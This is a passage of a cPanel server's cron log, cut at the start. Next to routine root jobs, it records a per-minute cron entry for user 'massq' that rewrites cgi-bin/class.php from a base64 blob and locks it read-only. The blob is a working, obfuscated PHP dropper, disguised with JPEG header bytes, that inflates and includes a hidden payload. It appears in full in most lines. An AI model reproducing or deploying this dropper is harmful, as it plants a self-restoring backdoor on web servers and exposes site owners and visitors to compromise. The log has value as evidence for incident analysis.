k7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:38:01 server CROND[3485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:39:01 server CROND[3641]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 15:39:01 server CROND[3642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:40:01 server CROND[3714]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 15:40:01 server CROND[3715]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 15:40:01 server CROND[3716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:40:01 server CROND[3718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 15:41:01 server CROND[3845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:42:01 server CROND[3912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:42:01 server CROND[3913]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 15:43:01 server CROND[3995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:44:01 server CROND[4161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:45:01 server CROND[4230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 15:45:01 server CROND[4231]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 15:45:01 server CROND[4234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:46:01 server CROND[4353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:47:01 server CROND[4434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:48:01 server CROND[4503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:49:01 server CROND[4665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:50:01 server CROND[4744]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 15:50:01 server CROND[4747]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 15:50:01 server CROND[4749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:50:01 server CROND[4748]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 15:50:01 server CROND[4746]: (root) CMD (/usr/lib64/sa/sa1 1 1)
